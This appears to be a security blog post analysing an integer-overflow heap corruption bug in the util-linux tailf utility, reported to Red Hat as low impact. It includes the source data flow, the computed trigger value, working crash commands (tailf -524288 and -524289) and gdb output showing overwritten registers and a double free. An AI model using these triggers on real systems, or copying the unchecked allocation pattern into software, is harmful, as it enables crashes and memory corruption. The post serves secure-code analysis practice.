NO-CVE: tailf utility memory corruption vulnerability

Note:
tailf vulnerability was reported to RedHat Product Security Team and based on following points we mutually agree that this issue creates extremely low, almost no security impact.

  • Default util-linux package shipped with CentOS is vulnerable, but tailf is deprecated and removed in latest util-linux package. So just package upgrade is needed.
  • Tailf is not "setuid", so no gain of additional privileges.
  • Due to nature of exploitation, it is highly unlikely to trick another user to exploit this issue.
  • If you could think of any another way to exploit this vulnerability, please let me know.This report might be useful for practicing secure code analysis, so I decided to post this blog for interested readers.

    Details

    man tailf
    
           tailf  will print out the last 10 lines of a file and then wait for the
           file to grow.  It is similar to tail -f but does not  access  the  file
           when  it  is not growing.

    tailf application allows user to specify number of lines displayed on output. Due to improper integer boundary checking on user controlled “lines” value, during memory allocation routines an attacker can trigger memory corruption.

    Data flow

    User controlled -n option is handled by old_style_options() and returns “long” value of lines parameter.

    tailf.c
    
    211 /* parses -N option */
    212 static long old_style_option(int *argc, char **argv)
    213 {
    214         int i = 1, nargs = *argc;
    215         long lines = -1;
    216
    217         while(i < nargs) {
    218                 if (argv[i][0] == '-' && isdigit(argv[i][1])) {
    219                         lines = strtol_or_err(argv[i] + 1,
    220                                         _("failed to parse number of lines"));
    221                         nargs--;
    222                         if (nargs - i)
    223                                 memmove(argv + i, argv + i + 1,
    224                                                 sizeof(char *) * (nargs - i));
    225                 } else
    226                         i++;
    227         }
    228         *argc = nargs;
    229         return lines;
    230 }

    Returned “long” lines value is then passed to tailf() function

    tailf.c
    
    282         tailf(filename, lines);
    
    tailf.c
    
     51 static void
     52 tailf(const char *filename, int lines)
     53 {
     54         char *buf, *p;
     55         int  head = 0;
     56         int  tail = 0;
     57         FILE *str;
     58         int  i;

    Notice that “long” lines value is casted to “integer” value. This leads to value truncation, but lets skip this for our analysis. The interesting code path is at line 63 in tailf() function.

    tailf.c
    
     60         if (!(str = fopen(filename, "r")))
     61                 err(EXIT_FAILURE, _("cannot open %s"), filename);
     62
     63         buf = xmalloc((lines ? lines : 1) * BUFSIZ);

    Here, application calculate required allocated memory size using user controlled data. So this is a vulnerable code path.We can trick application to allocate less memory than expected size which could lead to memory corruption.

    xmalloc() function accepts input size as size_t which is unsigned integer. So for memory corruption we need to consider boundary condition for unsigned integer.

    UINT_MAX value is 4294967295. If provided value is larger than UINT_MAX, it wraps around 0.

    For trigger, we need value of lines = 4294967295 / BUFSIZE (8192) = 524287 + 1 = 524288

    include/xalloc.h
    
       23 void *xmalloc(const size_t size)
       24 {
       25         void *ret = malloc(size);
       26
       27         if (!ret && size)
       28                 err(XALLOC_EXIT_CODE, "cannot allocate %zu bytes", size);
       29         return ret;
       30 }
    
    Breakpoint 7, tailf (filename=0xbffff627 "a.txt", lines=524288) at text-utils/tailf.c:63
    63    buf = xmalloc((lines ? lines : 1) * BUFSIZ);
    (gdb) s
    xmalloc (size=0) at ./include/xalloc.h:25
    25          void *ret = malloc(size);
    (gdb)
    As per glibc document - "Even a request for zero bytes (i.e., malloc(0)) returns a pointer to something of the minimum allocatable size." So malloc(0) allocates very small amount of memory chunk.
     64         p = buf;
     65         while (fgets(p, BUFSIZ, str)) {
     66                 if (++tail >= lines) {
     67                         tail = 0;
     68                         head = 1;
     69                 }
     70                 p = buf + (tail * BUFSIZ);
     71         }

    fgets() reads BUFSIZ from str stream and copy into p (i.e. memory returned by malloc(0)) results into memory corruption. Program received signal SIGSEGV, Segmentation fault.

    _IO_least_marker (fp=fp@entry=0x804f768, end_p=end_p@entry=0x41414141 <Address 0x41414141 out of bounds>) at genops.c:135
    
    [developer@centos-x86 test]$ ulimit -c unlimited
    [developer@centos-x86 test]$
    [developer@centos-x86 test]$ tailf -524288 huge.txt
    Segmentation fault (core dumped)
    [developer@centos-x86 test]$ gdb -q -c core.2908
    [New LWP 2908]
    Missing separate debuginfo for the main executable file
    Try: yum --enablerepo='*debug*' install /usr/lib/debug/.build-id/30/a39ee9c3a27a2a017df25861c1a6d2b73cf4d0
    Core was generated by `tailf -524288 huge.txt'.
    Program terminated with signal 11, Segmentation fault.
    #0  0xb7621ce8 in ?? ()
    
    (gdb) bt
    #0  0xb7621ce8 in ?? ()
    #1  0xb7621d22 in ?? ()
    #2  0x09d98768 in ?? ()
    Backtrace stopped: previous frame inner to this frame (corrupt stack?)
    
    (gdb) info r
    eax            0x0  0
    ecx            0x41414141 1094795585
    edx            0x41414141 1094795585
    ebx            0xb7774000 -1216921600
    esp            0xbfd2ae1c 0xbfd2ae1c
    ebp            0x41414141 0x41414141
    esi            0x9d98768  165250920
    edi            0x41414141 1094795585
    eip            0xb7621ce8 0xb7621ce8
    eflags         0x10206  [ PF IF RF ]
    cs             0x73 115
    ss             0x7b 123
    ds             0x7b 123
    es             0x7b 123
    fs             0x0  0
    gs             0x33 51
    (gdb)

    Another interesting code path for analysis -

    tailf.c
    
     65         while (fgets(p, BUFSIZ, str)) {
     66                 if (++tail >= lines) {
     67                         tail = 0;
     68                         head = 1;
     69                 }
     70                 p = buf + (tail * BUFSIZ);
     71         }
     72
     73         if (head) {
     74                 for (i = tail; i < lines; i++)
     75                         fputs(buf + (i * BUFSIZ), stdout);
     76                 for (i = 0; i < tail; i++)
     77                         fputs(buf + (i * BUFSIZ), stdout);
     78         } else {
     79                 for (i = head; i < tail; i++)
     80                         fputs(buf + (i * BUFSIZ), stdout);
     81         }
     82
     83         fflush(stdout);
     84         free(buf);  
     85         fclose(str);
     86 }
    [developer@centos-x86 test]$ cat a.txt
    AAAAAAAAAA
    BBBBBBBBBB
    CCCCCC
    
    [developer@centos-x86 test]$ gdb /usr/bin/tailf
    GNU gdb (GDB) Red Hat Enterprise Linux 7.6.1-110.el7
    Copyright (C) 2013 Free Software Foundation, Inc.
    License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
    This is free software: you are free to change and redistribute it.
    There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
    and "show warranty" for details.
    This GDB was configured as "i686-redhat-linux-gnu".
    For bug eporting instructions, please see:
    <http://www.gnu.org/software/gdb/bugs/>...
    Reading symbols from /usr/bin/tailf...done.
    (gdb)
    (gdb) r -524289 a.txt
    
    \*** Error in `/usr/bin/tailf': double free or corruption (!prev): 0x0804f8d0 ***
    
    ======= Backtrace: =========
    /lib/libc.so.6(+0x798ad)[0xb7e748ad]
    /usr/bin/tailf[0x804916d]
    /usr/bin/tailf[0x80498a4]
    /lib/libc.so.6(__libc_start_main+0xf3)[0xb7e151b3]
    /usr/bin/tailf[0x8048dd1]
    ======= Memory map: ========
    08048000-0804c000 r-xp 00000000 fd:00 720542     /usr/bin/tailf
    0804c000-0804d000 r--p 00003000 fd:00 720542     /usr/bin/tailf
    0804d000-0804e000 rw-p 00004000 fd:00 720542     /usr/bin/tailf
    0804e000-0806f000 rw-p 00000000 00:00 0          [heap]
    b7900000-b7921000 rw-p 00000000 00:00 0
    b7921000-b7a00000 ---p 00000000 00:00 0
    b7a9b000-b7ab4000 r-xp 00000000 fd:00 70880884   /usr/lib/libgcc_s-4.8.5-20150702.so.1
    b7ab4000-b7ab5000 r--p 00018000 fd:00 70880884   /usr/lib/libgcc_s-4.8.5-20150702.so.1
    b7ab5000-b7ab6000 rw-p 00019000 fd:00 70880884   /usr/lib/libgcc_s-4.8.5-20150702.so.1
    b7aca000-b7bfa000 r--p 0019b000 fd:00 100980597  /usr/lib/locale/locale-archive
    b7bfa000-b7dfa000 r--p 00000000 fd:00 100980597  /usr/lib/locale/locale-archive
    b7dfa000-b7dfb000 rw-p 00000000 00:00 0
    b7dfb000-b7fbf000 r-xp 00000000 fd:00 67379892   /usr/lib/libc-2.17.so
    b7fbf000-b7fc0000 ---p 001c4000 fd:00 67379892   /usr/lib/libc-2.17.so
    b7fc0000-b7fc2000 r--p 001c4000 fd:00 67379892   /usr/lib/libc-2.17.so
    b7fc2000-b7fc3000 rw-p 001c6000 fd:00 67379892   /usr/lib/libc-2.17.so
    b7fc3000-b7fc6000 rw-p 00000000 00:00 0
    b7fd6000-b7fd9000 rw-p 00000000 00:00 0
    b7fd9000-b7fda000 r--p 01162000 fd:00 100980597  /usr/lib/locale/locale-archive
    b7fda000-b7fdb000 rw-p 00000000 00:00 0
    b7fdb000-b7fdc000 r-xp 00000000 00:00 0          [vdso]
    b7fdc000-b7ffe000 r-xp 00000000 fd:00 67379885   /usr/lib/ld-2.17.so
    b7ffe000-b7fff000 r--p 00021000 fd:00 67379885   /usr/lib/ld-2.17.so
    b7fff000-b8000000 rw-p 00022000 fd:00 67379885   /usr/lib/ld-2.17.so
    bffdf000-c0000000 rw-p 00000000 00:00 0          [stack]